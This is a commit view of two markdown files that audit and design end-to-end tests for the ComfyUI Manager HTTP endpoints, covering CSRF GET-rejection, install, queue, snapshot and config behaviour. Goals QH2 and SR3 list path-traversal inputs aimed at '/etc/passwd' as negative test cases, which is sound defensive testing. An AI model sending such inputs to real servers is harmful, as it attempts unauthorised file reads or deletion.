# Section 1.5 — Security-Contract Tests (CSRF Method-Reject)
`tests/e2e/test_e2e_csrf.py` follows a NEGATIVE-assertion contract:
state-changing POST endpoints MUST reject HTTP GET. Unlike the glob
endpoint→effect contract (positive response + state change), the CSRF
contract verifies ABSENCE of acceptance.
**Contract**:
- GET on state-changing POST endpoint → status_code ∈ (400,403,404,405)
- POST counterpart → status_code == 200 (sanity)
- GET on read-only endpoint → status_code == 200 (negative control)
**Reference**: commit 99caef55 — "mitigate CSRF on state-changing
endpoints + version SSOT" (CVSS 8.1, reported by XlabAI-Tencent-Xuanwu).
Commit applied the GET→POST conversion to BOTH `glob/manager_server.py`
(~91 lines) and `legacy/manager_server.py` (~92 lines); the legacy-side
regression guard is exercised by `test_e2e_csrf_legacy.py` (added in WI-FF,
integrated into this audit in WI-GG).
**Scope clarification per file docstrings**:
ONLY the GET-rejection layer. NOT covered: Origin/Referer validation,
same-site cookies, anti-CSRF tokens, cross-site form POST. Do NOT
read a PASS here as "CSRF fully solved". Both glob and legacy suites
share the same scope — the split exists solely because `comfyui_manager/__init__.py`
loads `glob.manager_server` XOR `legacy.manager_server` (mutex via
`--enable-manager-legacy-ui`), so each route table requires its own server
lifecycle to exercise.
| File | Tests | Contract verdict |
|---|---:|---|
| test_e2e_csrf.py::TestStateChangingEndpointsRejectGet | 13 (parametrized; 3 dual-purpose endpoints removed in WI-HH — legitimately covered only in the allow-GET class) | ✓ compliant — negative-path security contract (glob) |
| test_e2e_csrf.py::TestCsrfPostWorks | 2 | ✓ compliant — positive sanity (glob) |
| test_e2e_csrf.py::TestCsrfReadEndpointsStillAllowGet | 11 (parametrized) | ✓ compliant — negative control for over-correction (glob) |
| test_e2e_csrf_legacy.py::TestLegacyStateChangingEndpointsRejectGet | 13 (parametrized — queue/task→queue/batch; 3 dual-purpose excluded) | ✓ compliant — negative-path security contract (legacy) |
| test_e2e_csrf_legacy.py::TestLegacyCsrfPostWorks | 2 | ✓ compliant — positive sanity (legacy) |
| test_e2e_csrf_legacy.py::TestLegacyCsrfReadEndpointsStillAllowGet | 11 (parametrized) | ✓ compliant — negative control (legacy) |
**Endpoint-list differences** (legacy vs glob, per `test_e2e_csrf_legacy.py` docstring L23–36):
- `/v2/manager/queue/task` → dropped (glob-only; legacy uses `queue/batch`)
- `/v2/manager/queue/batch` → added (legacy task-enqueue)
- `/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list` → dropped from reject-GET (CSRF contract applies only to POST write-path; same GET-read + POST-write split as glob, so these 3 legitimately appear in the allow-GET class only). `test_e2e_csrf.py` currently lists them in BOTH classes; WI-HH tracks the glob-side correction.
---
# Section 2 — Glob pytest Contract Audit (Endpoint → Effect)
## 🟡 Missing effect verification
| File | Test | Missing effect |
|---|---|---|
| test_e2e_task_operations.py | `test_install_model_accepts_valid_request` | Only checks 200 status. Does NOT verify task was actually queued (could be via GET queue/status total_count≥1). |
Adding one line (`status check`) would fix this.
## ✓ Effect-verifying tests (80 of 81)
### Install/Uninstall (pack-level effects)
- test_e2e_endpoint.test_install_via_endpoint → `_pack_exists` + `_has_tracking` ✓
- test_e2e_endpoint.test_uninstall_via_endpoint → `_pack_exists == False` ✓
- test_e2e_endpoint.test_install_uninstall_cycle → both ✓
- test_e2e_git_clone.test_01_nightly_install → `_pack_exists` + `.git` dir ✓
- test_e2e_git_clone.test_03_nightly_uninstall → `_pack_exists == False` ✓
### Disable/Enable (state-level effects)
- test_e2e_task_operations.test_disable_pack → `_pack_disabled` + `_pack_exists == False` ✓
- test_e2e_task_operations.test_enable_pack → `_pack_exists` + `!_pack_disabled` ✓
- test_e2e_task_operations.test_disable_enable_cycle → both transitions ✓
### Update/Fix (post-state verification)
- test_e2e_task_operations.test_update_installed_pack → `_pack_exists` after ✓
- test_e2e_task_operations.test_fix_installed_pack → `_pack_exists` after ✓
### Queue state
- test_e2e_queue_lifecycle.test_reset_queue → status.pending_count == 0 ✓
- test_e2e_queue_lifecycle.test_queue_task_and_history → done_count > 0 ✓
- test_e2e_queue_lifecycle.test_start_queue_already_idle → status code ✓ (idempotent effect)
- test_e2e_task_operations.test_update_comfyui_queues_task → total_count ≥ 1 ✓
### Config round-trips (persistence effect)
- test_e2e_config_api.test_set_and_restore_db_mode → GET reflects POST ✓
- test_e2e_config_api.test_set_and_restore_update_policy → same ✓
- test_e2e_config_api.test_set_and_restore_channel → same ✓
### Snapshot state
- test_e2e_snapshot_lifecycle.test_save_snapshot + test_getlist_after_save → save creates, getlist reflects ✓
- test_e2e_snapshot_lifecycle.test_remove_snapshot → removed item absent from list ✓
### System state
- test_e2e_system_info.test_reboot_and_recovery → health check recovers ✓
- test_e2e_system_info.test_version_is_stable → consecutive calls idempotent ✓
### Response-correctness (read endpoints)
All GET endpoint tests verify response schema and content. Examples:
- getmappings, installed, queue/status, queue/history, snapshot/get_current, etc. → response shape + field presence asserted ✓
### Validation/Negative (error-path effects)
- All `test_*_invalid_body`, `test_*_missing_params`, `test_*_returns_400`, `test_fetch_updates_returns_deprecated` verify the error RESPONSE effect (status code + optional body fields) ✓
## Glob pytest Contract Summary
- **Compliant** (endpoint→effect, positive contract): 81 / 81 tests (100%) — Stage2 WI-D upgraded `test_install_model_accepts_valid_request` to effect-verifying.
- **Weak** (status-only, no effect): ~~1~~ → 0 / 81 tests (resolved)
- **Security-contract** (CSRF method-reject, separate negative contract): 8 / 8 test functions (52 / 52 parametrized invocations — 26 glob + 26 legacy) — all compliant. References: `tests/e2e/test_e2e_csrf.py` (glob, 99caef55 ~91-line diff; 3 dual-purpose endpoints removed from reject-GET fixture in WI-HH to match the GET-read + POST-write split, so glob count dropped from 29 → 26) + `tests/e2e/test_e2e_csrf_legacy.py` (legacy, 99caef55 ~92-line diff — added in WI-FF, audited in WI-GG). See Section 1.5 above.
---
# Section 3 — Reclassification Plan
## Tests to move out of Playwright suite (STATUS: ALL 4 RESOLVED — Stage2 WI-F)
1. ~~`legacy-ui-snapshot.spec.ts::lists existing snapshots`~~ → **DELETED**; backend `getlist` coverage owned by `test_e2e_snapshot_lifecycle.py::test_getlist_after_save`.
2. ~~`legacy-ui-snapshot.spec.ts::save snapshot via API and verify in list`~~ → **REWRITTEN** as UI-driven `SS1 Save button creates a new snapshot row`; also `UI Remove button deletes a snapshot row` added.
3. ~~`legacy-ui-navigation.spec.ts::API health check while dialogs are open`~~ → **DELETED**; version coverage in `test_e2e_system_info.py::test_version_returns_string`.
4. ~~`legacy-ui-navigation.spec.ts::system endpoints accessible from browser context`~~ → **DELETED**; redundant with pytest system_info suite.
Verification: `npx playwright test --list --grep '<any of the 4 titles>'` → 0 tests. pytest counterparts regression: 12/12 PASS (`test_e2e_snapshot_lifecycle.py` + `test_e2e_system_info.py`).
## Tests to rewrite for UI-only verification
2 mixed tests in `legacy-ui-manager-menu.spec.ts` should verify via UI instead of API:
1. `DB mode dropdown round-trips via API` → after selectOption, re-open dialog and check `<select>.value` matches
2. `Update Policy dropdown round-trips via API` → same pattern
Keep the restore step (via API) for cleanup — that is acceptable as teardown.
## New UI→effect tests needed (currently missing)
Based on Report A legacy endpoints and legacy UI flows, these UI→effect tests are missing:
| Legacy UI flow | Endpoint triggered | Effect to verify |
|---|---|---|
| Click "Install" in Custom Nodes Manager row | POST queue/batch | Pack appears in filesystem (via test hooks) + "Installed" badge in UI |
| Click "Uninstall" button | POST queue/batch | Pack removed + row shows "Not Installed" |
| Click "Update All" in Manager menu | POST queue/update_all | "Updating" indicator appears + queue progress WebSocket |
| Click "Install via Git URL" button + enter URL | POST customnode/install/git_url | Pack cloned (if endpoint still exists) |
| Click "Restart" in Manager menu | POST manager/reboot | Server restart + UI reconnect |
| Click "Save" in Snapshot Manager | POST snapshot/save | Snapshot row appears in UI list |
| Click "Delete" row action in Snapshot Manager | POST snapshot/remove?target=X | Row disappears from UI list |
→ The existing `debug-install-flow.spec.ts` provides the instrumentation template. These can be built from it with assertions added.
---
# Section 4 — Revised Coverage Verdict
Applying the strict contract:
## Glob v2 coverage (endpoint → effect)
| Status | Count |
|---|---:|
| Effect-verified | 27/30 |
| Status-only (weakened) | 1/30 (install_model) |
| Intentionally skipped destructive | 2/30 (snapshot/restore, switch_version positive) |
## Legacy coverage (UI → effect)
Strict UI→effect tests for legacy endpoints:
| Endpoint | UI→effect test exists? |
|---|---|
| POST queue/batch | ⚠️ debug only (no assertion); NO production test |
| GET customnode/getlist | ✓ via `loads custom node list (non-empty)` |
| GET /customnode/alternatives | ✗ |
| GET externalmodel/getlist | ✓ via `loads model list (non-empty)` |
| GET customnode/versions/{node_name} | ⚠️ debug only |
| GET customnode/disabled_versions/{node_name} | ✗ |
| POST customnode/install/git_url | ✗ (no "Install via Git URL" test) |
| POST customnode/install/pip | ✗ |
| GET manager/notice | ✗ |
| GET db_mode / POST db_mode (via UI) | 🟡 mixed (UI selectOption + API verify) |
| GET policy/update / POST policy/update (via UI) | 🟡 mixed |
| GET snapshot/getlist (via dialog) | ✓ (opens dialog) |
| POST snapshot/save (via UI button) | ✗ (only API-driven test exists) |
| POST snapshot/remove (via UI) | ✗ (only API-driven cleanup) |
| POST manager/reboot (via UI "Restart" button) | ✗ |
**Strict legacy coverage**: 3/15 endpoints fully UI→effect verified.
---
# Section 5 — Action Items (Prioritized)
## 🔴 Contract violations (fix or remove)
1. DELETE 2 Playwright tests in `legacy-ui-snapshot.spec.ts` (API-only — redundant with pytest E2E)
2. DELETE 2 Playwright tests in `legacy-ui-navigation.spec.ts` (API-only health checks)
3. FIX install_model status-only test in `test_e2e_task_operations.py`
## 🟡 Weaken→strengthen
4. Rewrite 2 mixed `legacy-ui-manager-menu.spec.ts` dropdown tests to verify UI state (not API round-trip)
## 🟢 New UI→effect tests (recommended)
5. Add UI-driven install/uninstall test (click button → verify pack effect + UI state)
6. Add UI-driven snapshot save/remove test (via Snapshot Manager dialog buttons)
7. Add UI-driven "Restart" button test (verify server restart)
8. Add UI-driven "Update All" flow test
## ✓ JS call-site verification (2026-04-18 re-audit)
All 5 endpoints initially flagged as "dead code" are CONFIRMED ACTIVE in legacy UI JS:
| Endpoint | JS file:line |
|---|---|
| /customnode/alternatives | custom-nodes-manager.js:1885 |
| /v2/customnode/disabled_versions/{name} | custom-nodes-manager.js:1401 |
| /v2/customnode/install/git_url | common.js:248 |
| /v2/customnode/install/pip | common.js:213 |
| /v2/manager/notice | comfyui-manager.js:418 |
→ Action: **add UI→effect tests** (not remove). Previous "dead code candidate" recommendation retracted.
---
*End of Test Contract Audit*
+834
View File
@@ -0,0 +1,834 @@
# Verification Design — Per-Goal Verification Items
**Generated**: 2026-04-18
**Source**: Derived from `endpoint_scenarios.md`, `scenario_intents.md`, `scenario_effects.md`
**Purpose**: For each scenario's achievement goal, design the concrete verification items (assertions + observables + tools) required to prove the goal is met.
**Verification item format** (used throughout):
```
Goal: <what scenario intends to achieve>
Precondition: <state required before the action>
Action: <call / UI interaction>
Observable: <what can be inspected>
Assertion: <pass/fail criterion>
Negative check: <what must NOT happen>
```
---
# Section 1 — Queue Management Verification Design
## 1.1 POST /v2/manager/queue/task (kind=install)
### Goal A1 — Install a CNR pack to loadable state
- **Precondition**: pack dir absent; `.tracking` absent
- **Action**: POST queue/task kind=install params={id, version, selected_version, mode, channel} → POST queue/start
- **Observable**: filesystem `custom_nodes/<pack>/` + `.tracking` file content; `customnode/installed` response; WebSocket `cm-queue-status all-done`
- **Assertion**: pack dir exists AND `.tracking` present AND `installed[pack_id].cnr_id == pack_id` AND version matches
- **Negative check**: no leftover `.trash_*` dirs; no ModuleNotFoundError in server log
### Goal A2 — Install a nightly (URL) pack via git clone
- **Precondition**: pack dir absent
- **Action**: POST queue/task kind=install selected_version=nightly with `repository` URL
- **Observable**: pack dir + `.git/` subdir; `.git/config` remote URL
- **Assertion**: `.git` exists AND remote URL matches request
- **Negative check**: no ModuleNotFoundError (git_helper.py subprocess ran cleanly)
### Goal A3 — Skip install when already disabled (re-enable shortcut)
- **Precondition**: pack in `.disabled/`
- **Action**: POST queue/task kind=install params.skip_post_install=true for known cnr_id
- **Observable**: pack moved back to active custom_nodes/; no fresh clone
- **Assertion**: pack active + no new download; existing `.tracking` preserved
- **Negative check**: no re-download (verify via timing or lack of network log)
### Goal A4 — Reject bad kind (validation error)
- **Precondition**: queue empty or known state
- **Action**: POST queue/task with kind="garbage"
- **Observable**: response status; `queue/status.total_count` before/after
- **Assertion**: 400 + ValidationError text; total_count unchanged
- **Negative check**: no pack changes; no task in history
### Goal A5 — Reject missing ui_id/client_id (traceability gate)
- **Action**: POST queue/task without ui_id OR without client_id
- **Assertion**: 400; no task queued (verify via status counts)
### Goal A6 — Worker auto-starts on task queue
- **Precondition**: worker idle
- **Action**: POST queue/task (any valid)
- **Observable**: `queue/status.is_processing` polling
- **Assertion**: within N seconds is_processing becomes true; eventually done_count increments
## 1.2 POST /v2/manager/queue/task (kind=uninstall)
### Goal U1 — Remove installed pack
- **Precondition**: pack present; in `installed` list
- **Action**: POST queue/task kind=uninstall params.node_name=<cnr_id>
- **Observable**: filesystem pack dir; `customnode/installed`
- **Assertion**: pack dir absent AND cnr_id absent from installed
- **Negative check**: other packs untouched; no orphan files in .disabled/
### Goal U2 — Idempotent uninstall of missing pack
- **Precondition**: pack absent
- **Action**: POST queue/task kind=uninstall for non-existent pack
- **Assertion**: task completes without raising fatal error; state unchanged
## 1.3 POST /v2/manager/queue/task (kind=update)
### Goal UP1 — Upgrade pack to newer version
- **Precondition**: pack installed at version X; version Y > X available
- **Action**: POST queue/task kind=update params.node_name, node_ver
- **Observable**: `.tracking` file content (version field); CNR API version
- **Assertion**: pack still present; new version recorded; dependencies updated
- **Negative check**: no partial state (no half-cloned dir)
### Goal UP2 — Idempotent when already up-to-date
- **Precondition**: pack at latest version
- **Action**: POST queue/task kind=update
- **Assertion**: no version downgrade; no pack removal; task completes
## 1.4 POST /v2/manager/queue/task (kind=fix)
### Goal F1 — Reinstall dependencies of existing pack
- **Precondition**: pack present; dependencies broken (simulate by removing from venv)
- **Action**: POST queue/task kind=fix params.node_name, node_ver
- **Observable**: venv site-packages for pack's requirements; import succeeds
- **Assertion**: after fix, all declared requirements importable; pack dir unchanged (same HEAD)
## 1.5 POST /v2/manager/queue/task (kind=disable)
### Goal D1 — Move pack to disabled state reversibly
- **Precondition**: pack active
- **Action**: POST queue/task kind=disable params.node_name, is_unknown
- **Observable**: `custom_nodes/.disabled/<pack>/` exists; `custom_nodes/<pack>/` absent
- **Assertion**: pack relocated to .disabled/; not in active installed list; on reload NODE_CLASS_MAPPINGS lacks its nodes
- **Negative check**: pack files preserved (not deleted)
### Goal D2 — Idempotent disable of already-disabled pack
- **Precondition**: pack in .disabled/
- **Action**: POST queue/task kind=disable
- **Assertion**: pack still in .disabled/; no duplicate; no error
## 1.6 POST /v2/manager/queue/task (kind=enable)
### Goal E1 — Restore pack from .disabled/ to active
- **Precondition**: pack in .disabled/
- **Action**: POST queue/task kind=enable params.cnr_id
- **Observable**: `custom_nodes/<pack>/` exists (may be lowercase variant); .disabled/ entry gone
- **Assertion**: pack active; appears in installed; on next reload nodes load
- **Negative check**: no duplicate entries
## 1.7 POST /v2/manager/queue/install_model
### Goal IM1 — Download model to correct subdirectory
- **Precondition**: model file absent; URL in whitelist
- **Action**: POST queue/install_model with valid ModelMetadata + client_id + ui_id
- **Observable**: `models/<type>/<filename>` file; file size > 0
- **Assertion**: file exists + non-zero size; externalmodel/getlist shows installed=True
- **Negative check**: no orphan partial downloads
### Goal IM2 — Reject missing client_id / ui_id
- **Action**: POST install_model without one of them
- **Assertion**: 400; no task queued; no download attempted
### Goal IM3 — Reject non-whitelist URL (legacy)
- **Action**: POST install_model with URL NOT in whitelist
- **Assertion**: 400; no file written
### Goal IM4 — Block non-safetensors below high+ security
- **Precondition**: security_level < high+
- **Action**: POST install_model with filename="*.ckpt"
- **Assertion**: 403; no file written
## 1.8 POST /v2/manager/queue/update_all
### Goal UA1 — Queue update tasks for all active packs
- **Precondition**: N active packs installed; queue empty
- **Action**: POST queue/update_all with ui_id, client_id, mode
- **Observable**: `queue/status.pending_count` delta
- **Assertion**: pending_count increased by N (minus manager-skip if desktop); each queued task has kind=update + correct node_name
- **Negative check**: comfyui-manager NOT in queue if __COMFYUI_DESKTOP_VERSION__ set
### Goal UA2 — Security gate (<middle+)
- **Precondition**: security_level < middle+
- **Action**: POST queue/update_all
- **Assertion**: 403; no tasks queued
### Goal UA3 — Require ui_id + client_id
- **Action**: POST queue/update_all without required params
- **Assertion**: 400 ValidationError; no queue change
## 1.9 POST /v2/manager/queue/update_comfyui
### Goal UC1 — Queue ComfyUI self-update task
- **Action**: POST queue/update_comfyui with client_id, ui_id
- **Observable**: queue/status.total_count; queued task's params
- **Assertion**: total_count += 1; queued task has kind=update-comfyui with is_stable matching config or override
- **Negative check**: actual git operation doesn't start (task queued only)
### Goal UC2 — Explicit stable flag override
- **Action**: POST queue/update_comfyui?stable=true (config says nightly)
- **Assertion**: queued task.params.is_stable == true
## 1.10 POST /v2/manager/queue/reset
### Goal R1 — Clear all queued/running/history tasks
- **Precondition**: queue has N tasks
- **Action**: POST queue/reset
- **Observable**: queue/status all counts
- **Assertion**: total_count=done_count=in_progress_count=pending_count=0; is_processing=false
- **Negative check**: history tasks also cleared
### Goal R2 — Idempotent on empty queue
- **Precondition**: queue empty
- **Action**: POST queue/reset (2 times)
- **Assertion**: 200 both times; state still empty
## 1.11 POST /v2/manager/queue/start
### Goal S1 — Start worker when idle
- **Precondition**: is_processing=false; queue has tasks
- **Action**: POST queue/start
- **Assertion**: 200; is_processing=true; tasks begin processing (done_count eventually increments)
### Goal S2 — Don't spawn duplicate worker
- **Precondition**: is_processing=true
- **Action**: POST queue/start
- **Assertion**: 201; still is_processing=true; same worker pid (observable via logs)
- **Negative check**: no duplicate task processing (each task runs once)
## 1.12 GET /v2/manager/queue/status
### Goal QS1 — Accurate overall counts
- **Precondition**: known queue state (e.g., 3 pending, 1 running, 2 done)
- **Action**: GET queue/status
- **Assertion**: counts match actual internal queue state
### Goal QS2 — Client-filtered counts
- **Precondition**: tasks from multiple client_ids
- **Action**: GET queue/status?client_id=X
- **Assertion**: response.client_id == X; counts reflect only X's tasks
## 1.13 GET /v2/manager/queue/history
### Goal QH1 — Retrieve batch history by id
- **Precondition**: batch file exists at manager_batch_history_path
- **Action**: GET queue/history?id=<batch_id>
- **Assertion**: response JSON matches file contents
### Goal QH2 — Reject path traversal
- **Action**: GET queue/history?id=../../../etc/passwd
- **Assertion**: 400 "Invalid history id"; no file read attempt
### Goal QH3 — Filter by ui_id / client_id / pagination
- **Action**: GET queue/history with respective query params
- **Assertion**: results properly filtered/paginated
## 1.14 GET /v2/manager/queue/history_list
### Goal QHL1 — List batch IDs sorted by mtime
- **Precondition**: files exist in history dir
- **Action**: GET queue/history_list
- **Assertion**: ids list == filenames (stem) sorted by mtime desc
### Goal QHL2 — Empty list when no history
- **Precondition**: empty dir
- **Assertion**: `{ids: []}`; 200
---
# Section 2 — CustomNode Info Verification Design
## 2.1 GET /v2/customnode/getmappings
### Goal CM1 — Return comprehensive node→pack mapping
- **Action**: GET getmappings?mode=local (or cache/remote)
- **Observable**: response dict; current NODE_CLASS_MAPPINGS
- **Assertion**: every currently-loaded node appears in some entry's node_list OR matches a nodename_pattern regex
- **Negative check**: no stale entries for uninstalled packs
### Goal CM2 — Nickname mode applies filter
- **Action**: GET getmappings?mode=nickname
- **Assertion**: entries include nickname field filtered by nickname_filter rules
### Goal CM3 — Require explicit mode
- **Action**: GET getmappings (no mode param)
- **Assertion**: server error (500/KeyError); no partial data
## 2.2 GET /v2/customnode/fetch_updates (deprecated)
### Goal FU1 — Signal deprecation to clients
- **Action**: GET fetch_updates?mode=local
- **Assertion**: 410 status; body `{deprecated: true, error: ..., message: ...}`
- **Negative check**: no git fetch executed (no mtime changes on .git/)
## 2.3 GET /v2/customnode/installed
### Goal IL1 — Current installed packs
- **Precondition**: known packs installed
- **Action**: GET installed
- **Assertion**: response dict keys include all installed pack identifiers; each entry has cnr_id + version + enabled
### Goal IL2 — imported mode is startup-frozen
- **Precondition**: install a new pack post-startup
- **Action**: GET installed?mode=imported
- **Assertion**: new pack absent from response (startup snapshot unchanged)
- **Negative check**: default mode DOES show new pack (proves they differ)
## 2.4 POST /v2/customnode/import_fail_info
### Goal IF1 — Return failure info for failed pack
- **Precondition**: pack exists in `cm_global.error_dict`
- **Action**: POST import_fail_info {cnr_id}
- **Assertion**: 200; response has `msg` + `traceback`; content matches error_dict entry
### Goal IF2 — Reject unknown pack
- **Action**: POST import_fail_info {cnr_id: "unknown-12345"}
- **Assertion**: 400; no response body with info
### Goal IF3 — Validate request body shape
- **Action**: POST import_fail_info with non-dict OR missing both fields OR wrong type
- **Assertion**: 400 with specific error text
## 2.5 POST /v2/customnode/import_fail_info_bulk
### Goal IFB1 — Return per-pack lookup results
- **Action**: POST import_fail_info_bulk {cnr_ids: [known, unknown]}
- **Assertion**: 200; response maps known→info dict, unknown→null
### Goal IFB2 — Reject empty lists
- **Action**: POST with {cnr_ids:[], urls:[]}
- **Assertion**: 400 "Either 'cnr_ids' or 'urls' field is required"
---
# Section 3 — Snapshot Verification Design
## 3.1 GET /v2/snapshot/get_current
### Goal SG1 — Capture current state accurately
- **Precondition**: known set of packs installed
- **Action**: GET snapshot/get_current
- **Assertion**: response has comfyui (hash/tag), git_custom_nodes (list), cnr_custom_nodes (list), pips; entries match actual installed state
## 3.2 POST /v2/snapshot/save
### Goal SS1 — Persist current state to retrievable file
- **Precondition**: snapshot dir exists
- **Action**: POST snapshot/save
- **Observable**: new file in manager_snapshot_path; snapshot/getlist response
- **Assertion**: new timestamped file created; content matches get_current() at save time; appears in getlist.items
- **Negative check**: other snapshots untouched
### Goal SS2 — Multiple saves create distinct files
- **Action**: POST save; wait 1s; POST save
- **Assertion**: 2 distinct new entries in getlist
## 3.3 GET /v2/snapshot/getlist
### Goal SL1 — List matches filesystem
- **Action**: GET snapshot/getlist
- **Assertion**: items == .json files in snapshot dir (stems), desc sorted
## 3.4 POST /v2/snapshot/remove
### Goal SR1 — Delete snapshot permanently
- **Precondition**: target snapshot exists
- **Action**: POST snapshot/remove?target=<id>
- **Assertion**: file removed from disk; absent from getlist
- **Negative check**: other snapshots untouched
### Goal SR2 — Idempotent on missing target
- **Action**: POST remove?target=nonexistent
- **Assertion**: 200 no-op
### Goal SR3 — Reject path traversal
- **Action**: POST remove?target=../../etc/passwd
- **Assertion**: 400 "Invalid target"; no file ops outside snapshot dir
### Goal SR4 — Security gate (<middle)
- **Precondition**: security_level < middle
- **Action**: POST remove
- **Assertion**: 403; target file untouched
- **Test reference**: `tests/e2e/test_e2e_secgate_strict.py::TestSecurityGate403_SR4::test_remove_returns_403` (WI-KK PoC, audit-integrated by WI-LL — uses `start_comfyui_strict.sh` strict-mode fixture)
## 3.5 POST /v2/snapshot/restore
### Goal SR5 — Schedule snapshot restore for next reboot
- **Precondition**: target snapshot exists
- **Action**: POST restore?target=<id>
- **Observable**: manager_startup_script_path for `restore-snapshot.json`
- **Assertion**: restore-snapshot.json exists; content == target snapshot; (downstream: reboot → state reverts)
### Goal SR6 — Security gate (<middle+)
- **Assertion**: 403; no marker file
---
# Section 4 — Config Verification Design
## 4.1 GET /v2/manager/db_mode
### Goal C1 — Return current config value
- **Action**: GET db_mode
- **Assertion**: text response ∈ {cache, channel, local, remote}; matches config.ini[db_mode]
## 4.2 POST /v2/manager/db_mode
### Goal C2 — Persist new value to config.ini
- **Precondition**: original value X
- **Action**: POST db_mode {value: Y} where Y ≠ X
- **Observable**: GET db_mode after POST; config.ini file content; GET after process restart
- **Assertion**: GET returns Y; config.ini updated; survives restart (restart + re-GET returns Y)
- **Cleanup**: restore X
### Goal C3 — Reject malformed JSON / missing value
- **Action**: POST with non-JSON body OR {foo: bar}
- **Assertion**: 400; config.ini unchanged
## 4.3-4.4 GET/POST /v2/manager/policy/update
Same verification pattern as db_mode, with policy values ∈ {stable, stable-comfyui, nightly, nightly-comfyui}.
## 4.5 GET /v2/manager/channel_url_list
### Goal C4 — Return selected + available channels
- **Action**: GET channel_url_list
- **Assertion**: response has selected (str) + list (array of "name::url" strings); selected == name whose URL matches config.channel_url else "custom"
## 4.6 POST /v2/manager/channel_url_list
### Goal C5 — Switch channel by name
- **Precondition**: original channel X
- **Action**: POST {value: Y} where Y is a known channel name
- **Observable**: GET after POST
- **Assertion**: selected == Y; config.channel_url == channels[Y]
- **Cleanup**: restore X
### Goal C6 — Silent no-op on unknown name
- **Action**: POST {value: "nonexistent-channel-xyz"}
- **Assertion**: 200; selected UNCHANGED (verify via GET)
---
# Section 5 — System + ComfyUI Version Verification Design
## 5.1 GET /v2/manager/version
### Goal V1 — Consistent version string
- **Action**: GET version × 2 consecutive calls
- **Assertion**: both return same non-empty string == core.version_str
## 5.2 GET /v2/manager/is_legacy_manager_ui
### Goal V2 — Reflect CLI flag
- **Precondition**: server started with/without --enable-manager-legacy-ui
- **Action**: GET is_legacy_manager_ui
- **Assertion**: response.is_legacy_manager_ui matches the actual CLI flag
## 5.3 POST /v2/manager/reboot
### Goal V3 — Process restart + recovery
- **Precondition**: server running; pre_version captured
- **Action**: POST reboot
- **Observable**: connection behavior; health endpoint polling; post-reboot version
- **Assertion**: connection drops or 200; within N seconds server responds again; post_version == pre_version (verifies core state preserved)
- **Negative check**: config unchanged across reboot
### Goal V4 — COMFY_CLI_SESSION mode
- **Precondition**: __COMFY_CLI_SESSION__ env set
- **Action**: POST reboot
- **Assertion**: `.reboot` marker file created; process exits with code 0 (external manager restarts)
### Goal V5 — Security gate (<middle)
- **Action**: POST reboot at low security
- **Assertion**: 403; server continues (no restart occurs)
## 5.4 GET /v2/comfyui_manager/comfyui_versions
### Goal CV1 — Enumerate versions + current
- **Action**: GET comfyui_versions
- **Assertion**: response `{versions, current}`; versions list non-empty; each item is string; current ∈ versions; matches actual `.git` tags/commits
### Goal CV2 — Fail cleanly on non-git
- **Precondition**: ComfyUI dir not a git repo (simulate)
- **Action**: GET
- **Assertion**: 400; no partial response
## 5.5 POST /v2/comfyui_manager/comfyui_switch_version
### Goal CV3 — Queue update-comfyui task with target_version
- **Precondition**: security_level ≥ high+
- **Action**: POST switch_version?ver=X&client_id=Y&ui_id=Z
- **Observable**: queue/status; queued task params
- **Assertion**: task queued with params.target_version=X
- **Note**: actual switch (destructive) NOT verified in E2E
### Goal CV4 — Security gate (<high+)
- **Action**: POST switch_version at lower security
- **Assertion**: 403; no task queued
- **Test reference**: `tests/e2e/test_e2e_secgate_default.py::TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` (WI-KK demo, audit-integrated by WI-LL — runs at default `security_level=normal`; WI-KK research showed `is_local_mode=True + normal` is already outside the `[WEAK, NORMAL_]` allowed set for high+, so no harness is needed)
### Goal CV5 — Validate params
- **Action**: POST without ver OR without client_id/ui_id
- **Assertion**: 400 with error details; no task queued
---
# Section 6 — Legacy-only Verification Design (UI → effect)
All verification here assumes Playwright UI interaction as the Action. Effect is observed through both UI state and backend filesystem/state.
## 6.1 POST /v2/manager/queue/batch
### Goal LB1 — Install via UI row "Install" button
- **Precondition**: pack not installed; Custom Nodes Manager dialog open
- **Action (UI)**: filter to Not Installed → click Install on target row → click "Select" on version dialog
- **Observable**: backend: custom_nodes/<pack>/ + `.tracking`; UI: row badge changes to "Installed"; WebSocket: cm-queue-status all-done
- **Assertion**: backend install effect + UI state updates
### Goal LB2 — Uninstall via UI
- **Precondition**: pack installed
- **Action (UI)**: click "Uninstall" button on row
- **Observable**: backend: pack dir removed; UI: row shows "Not Installed"
- **Assertion**: both states consistent
### Goal LB3 — Disable via UI
- **Action (UI)**: click "Disable" button on row
- **Assertion**: pack in .disabled/; UI row shows "Disabled"
### Goal LB4 — Update all via menu
- **Action (UI)**: Manager menu → "Update All"
- **Observable**: queue/status; progress indicator in UI
- **Assertion**: N tasks queued; UI progress reflects N; eventual completion
### Goal LB5 — Batch partial failure reporting
- **Action (UI)**: batch with one guaranteed-fail pack
- **Observable**: response.failed array; UI notification
- **Assertion**: failed list contains only failed pack id; others succeeded
## 6.2 GET /v2/customnode/getlist
### Goal LG1 — Populate Custom Nodes Manager dialog
- **Action (UI)**: click "Custom Nodes Manager" from Manager menu
- **Observable**: UI grid rows
- **Assertion**: rows > 0; each row has Title + Installed/Not-Installed state + Install/Uninstall button
### Goal LG2 — skip_update=true optimizes loading
- **Action (UI)**: open dialog with flag set (URL param or setting)
- **Observable**: loading time; network log
- **Assertion**: no git fetch calls; load time < N seconds
## 6.3 GET /customnode/alternatives
### Goal LA1 — Show alternatives on dedicated UI flow
- **Action (UI)**: trigger alternatives display (specific button or context)
- **Observable**: alternatives panel/dialog
- **Assertion**: populated with alter-list.json entries (at least one if data exists)
## 6.4 GET /v2/externalmodel/getlist
### Goal LM1 — Populate Model Manager dialog
- **Action (UI)**: open Model Manager
- **Observable**: UI grid
- **Assertion**: rows > 0; each row has `installed` flag accurately reflecting filesystem
### Goal LM2 — Install flag correctness
- **Precondition**: pre-existing model file at known path
- **Action (UI)**: open Model Manager
- **Assertion**: that model row shows "Installed"
## 6.5 GET /v2/customnode/versions/{node_name}
### Goal LV1 — Version dropdown on Install click
- **Action (UI)**: click Install on a CNR pack row
- **Observable**: version selector (select multiple) in modal
- **Assertion**: dropdown options match CNR registry versions for that pack; "latest" option present
### Goal LV2 — Unknown pack → 400 (UI should handle)
- **Action**: direct API call with bogus node_name
- **Assertion**: 400; UI shows error or skips
## 6.6 GET /v2/customnode/disabled_versions/{node_name}
### Goal LDV1 — Show disabled versions for re-enable
- **Precondition**: pack has disabled versions
